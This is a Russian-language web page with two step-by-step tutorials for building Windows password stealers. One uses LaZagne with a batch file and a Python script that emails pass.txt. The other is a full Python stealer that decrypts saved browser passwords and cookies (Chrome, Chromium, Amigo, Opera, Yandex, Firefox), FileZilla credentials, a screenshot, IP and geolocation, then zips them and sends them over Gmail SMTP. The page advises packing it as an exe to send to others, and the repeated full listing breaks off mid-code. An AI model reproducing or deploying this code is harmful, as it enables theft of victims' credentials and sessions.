Что такое стиллер вай фай
Перейти к содержимому

Что такое стиллер вай фай

  • автор:

Стиллер на Python с отправкой по почте

Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.

Что для этого нужно?

  1. Python 3.x.x
  2. Инструмент для восстановления паролей(в нашем случае LaZagne)
  3. Два аккаунта Google

И так начинаем

Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.

У нас должна получится такая структура:

Пишем код

Откроем файл main.bat и поместим туда код:

@Echo off laZagne.exe all > pass.txt

Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?

Отправка на почту

Открываем файл send.py и вставляем код:

import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========Код зависящий от сервиса========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #=====Настройки================================= _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files)

Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):

server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit()
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit()
Доделываем .bat

Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:

send.py del /s "pass.txt"

Сборка

Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:

pip install pyinstaller pyinstaller --onefile send.py

Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками(«. «) и ищем ваш файл main.bat, жмем «Открыть», после чего жмем «Convert» и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоваться проверять на работоспособность.

Стиллер паролей на python с отправкой на почту

Привет, сейчас будем делать стиллер паролей на ЯП python. Наш стиллер будет воровать пароли браузеров таких как хром, яндекс браузер, амиго, и др., их куки, делать скриншот экрана, узнавать айпи адрес пк на котором открыли стиллер, его место нахождение и его установленная система.

Приступим к делу

Создаем новый файл в IDLE Python или в другой IDE.

Подключаем все нужные библиотеки. В некоторых нужно в cmd скачивать модули.

Все нужные модули

pip install pyinstaller
pip install requests==2.7.0
pip install pywin32
pip install ip2geotools
pip install opencv-python
pip install Pillow
pip install db-sqlite3
pip install temp

import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random

Собираем с пользователя все его данные.

################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") #создаем txt с его расположением file.write(all_data)#записываем данные file.close()#выходим

Собираем пароли с хрома.

################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") #создаем txt с его расположением file.write(str(Chrome()) + '\n')#записываем данные file.close()

Собираем куки с хрома.

################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close()
################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close()

Пароли с хромиума.

################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close()

Куки с хромиума.

################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close()
################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close()
################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close()
################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close()
################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close()

Пароли с яндекс браузера.

################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close()
################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textoc file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+") file.write(str(Opera_c()) + '\n') file.close()

Данные с FILEZILLA.

################################################################################ # FILEZILLA # ################################################################################ def filezilla(): try: data = '' if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True: root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot() for i in range(len(root[0])): host = root[0][i][0].text port = root[0][i][1].text user = root[0][i][4].text password = base64.b64decode(root[0][i][5].text).decode('utf-8') data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n' return data else: return 'Not found' except Exception: return 'Error' textfz = filezilla() textfz += 'Filezilla: ' + '\n' + filezilla() + '\n' file = open(os.getenv("APPDATA") + '\\filezilla.txt', "w+") file.write(str(filezilla()) + '\n') file.close()

Делаем скриншот экрана.

################################################################################ # SCREEN # ################################################################################ screen = ImageGrab.grab() screen.save(os.getenv("APPDATA") + '\\sreenshot.jpg')

Тут записываем наши тхт в один ZIP — doc.

################################################################################ # PACKING TO ZIP # ################################################################################ zname = r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip' NZ = zipfile.ZipFile(zname,'w') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\firefox_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\yandex_passwords.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\alldata.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\google_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\chromium_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\amigo_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_pass.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\opera_cookies.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\filezilla.txt') NZ.write(r'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\sreenshot.jpg') NZ.close() 

Вот он наш ZIP по всеми данными.

################################################################################ # DOC-НАШ ZIP # ################################################################################ doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip'
################################################################################ # ОТПРАВКА # ################################################################################ '↑Stealler by Andrew_Shipunov↑'.encode('utf-8') msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8') msg = MIMEMultipart() msg['From'] = 'тут ваша новая почта с которой отправится' msg['To'] = 'почта на которую отправится' msg['Subject'] = getpass.getuser() + '-PC' msg.attach(msgtext)

Тут мы создаем вложение для нашего doc’а ZIP.

################################################################################ # СОЗДАНИЕ Вложения # ################################################################################ part = MIMEBase('application', "zip") b = open(doc, "rb").read() bs = encodebytes(b).decode() part.set_payload(bs) part.add_header('Content-Transfer-Encoding', 'base64') part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"') msg.attach(part)

Здесь мы собственно производим отправку на емаил с помощью SMTP

################################################################################ # ОТПРАВКА ВАМ # ################################################################################ s = smtplib.SMTP('smtp.gmail.com', 587)#ваш почтовый сервис,советую создавать новую гмаил s.starttls() s.login('тут ваша новая почта с которой отправится', 'тут пароль от новой почты') s.sendmail('тут ваша новая почта с которой отправится', 'почта на которую отправится', msg.as_string()) s.quit() i = input()

Чтобы отправилось сообщение с вашей новой почты gmail нужно проделать это:
На странице «Аккаунт Google» откройте раздел Ненадежные приложения, у которых есть доступ к аккаунту, и включите. Тогда все будет ОК.

Весь код

import os from Crypto.Hash import SHA512 import sqlite3 import win32crypt import email, ssl import shutil import requests import zipfile import getpass import ip2geotools import win32api import platform import tempfile import smtplib import time import cv2 import sys from PIL import ImageGrab from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.message import Message from email.mime.multipart import MIMEBase from email.mime.text import MIMEText from email.utils import COMMASPACE, formatdate from email import encoders from Tools.demo.mcast import sender from ip2geotools.databases.noncommercial import DbIpCity from os.path import basename from smtplib import SMTP from email.header import Header from email.utils import parseaddr, formataddr from base64 import encodebytes import random ################################################################################ # ВСЕ ДАННЫЕ И ЛОКАЦИЯ # ################################################################################ drives = str(win32api.GetLogicalDriveStrings()) drives = str(drives.split('\000')[:-1]) response = DbIpCity.get(requests.get("https://ramziv.com/ip").text, api_key='free') all_data = "Time: " + time.asctime() + '\n' + "Кодировка ФС: " + sys.getfilesystemencoding() + '\n' + "Cpu: " + platform.processor() + '\n' + "Система: " + platform.system() + ' ' + platform.release() + '\nIP: '+requests.get("https://ramziv.com/ip").text+'\nГород: '+response.city+'\nGen_Location:' + response.to_json() + '\nДиски:' + drives file = open(os.getenv("APPDATA") + '\\alldata.txt', "w+") file.write(all_data) file.close() ################################################################################ # GOOGLE PASSWORDS # ################################################################################ def Chrome(): text = 'Passwords Chrome:' + '\n' text += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': text += url + ' | ' + login + ' | ' + password + '\n' return text file = open(os.getenv("APPDATA") + '\\google_pass.txt', "w+") file.write(str(Chrome()) + '\n') file.close() ################################################################################ # GOOGLE Cookies # ################################################################################ def Chrome_cockie(): textc = 'Cookies Chrome:' + '\n' textc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textc file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") file.write(str(Chrome_cockie()) + '\n') file.close() ################################################################################ # FIREFOX Cookies # ################################################################################ def Firefox(): textf = '' textf +='Firefox Cookies:' + '\n' textf += 'URL | COOKIE | COOKIE NAME' + '\n' for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'): for name in dirs: conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite') cursor = conn.cursor() cursor.execute("SELECT baseDomain, value, name FROM moz_cookies") data = cursor.fetchall() for i in range(len(data)): url, cookie, name = data[i] textf += url + ' | ' + str(cookie) + ' | ' + name + '\n' break return textf file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+") file.write(str(Firefox()) + '\n') file.close() ################################################################################ # CHROMIUM PASSWORDS # ################################################################################ def chromium(): textch ='Chromium Passwords:' + '\n' textch += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textch += url + ' | ' + login + ' | ' + password + '\n' return textch file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+") file.write(str(chromium()) + '\n') file.close() ################################################################################ # CHROMIUM cookies # ################################################################################ def chromiumc(): textchc = '' textchc +='Chromium Cookies:' + '\n' textchc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textchc file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+") file.write(str(chromiumc()) + '\n') file.close() ################################################################################ # AMIGO PASSWORDS # ################################################################################ def Amigo(): textam = 'Passwords Amigo:' + '\n' textam += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textam += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\amigo_pass.txt', "w+") file.write(str(Amigo()) + '\n') file.close() ################################################################################ # AMIGO cookies # ################################################################################ def Amigo_c(): textamc = 'Cookies Amigo:' + '\n' textamc += 'URL | COOKIE | COOKIE NAME' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2') cursor = conn.cursor() cursor.execute("SELECT * from cookies") for result in cursor.fetchall(): cookie = win32crypt.CryptUnprotectData(result[12])[1].decode() name = result[2] url = result[1] textamc += url + ' | ' + str(cookie) + ' | ' + name + '\n' return textamc file = open(os.getenv("APPDATA") + '\\amigo_cookies.txt', "w+") file.write(str(Amigo_c()) + '\n') file.close() ################################################################################ # OPERA PASSWORDS # ################################################################################ def Opera(): texto = 'Passwords Opera:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'): shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\opera_pass.txt', "w+") file.write(str(Opera()) + '\n') file.close() ################################################################################ # FIREFOX PASSWORDS # ################################################################################ def Firefox_cookies(): texto = 'Passwords firefox:' + '\n' texto += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox'): shutil.copy2(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2', os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') conn = sqlite3.connect(os.getenv("APPDATA") + '\\AppData\\Roaming\\Mozilla\\Firefox2') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': texto += url + ' | ' + login + ' | ' + password + '\n' file = open(os.getenv("APPDATA") + '\\firefox_pass.txt', "w+") file.write(str(Firefox_cookies()) + '\n') file.close() ################################################################################ # YANDEX PASSWORDS # ################################################################################ def Yandexpass(): textyp = 'Passwords Yandex:' + '\n' textyp += 'URL | LOGIN | PASSWORD' + '\n' if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db'): shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data.db', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandexe\\YandexBrowser\\User Data\\Default\\Ya Login Data2.db') cursor = conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins') for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != '': textyp += url + ' | ' + login + ' | ' + password + '\n' return textyp file = open(os.getenv("APPDATA") + '\\yandex_passwords.txt', "w+") file.write(str(Yandexpass()) + '\n') file.close() ################################################################################ # OPERA cookies # ################################################################################ def Opera_c(): textoc ='Cookies Opera:' + '\n' textoc += 'URL | COOKIE | COOKIE NAME' + '\n' if 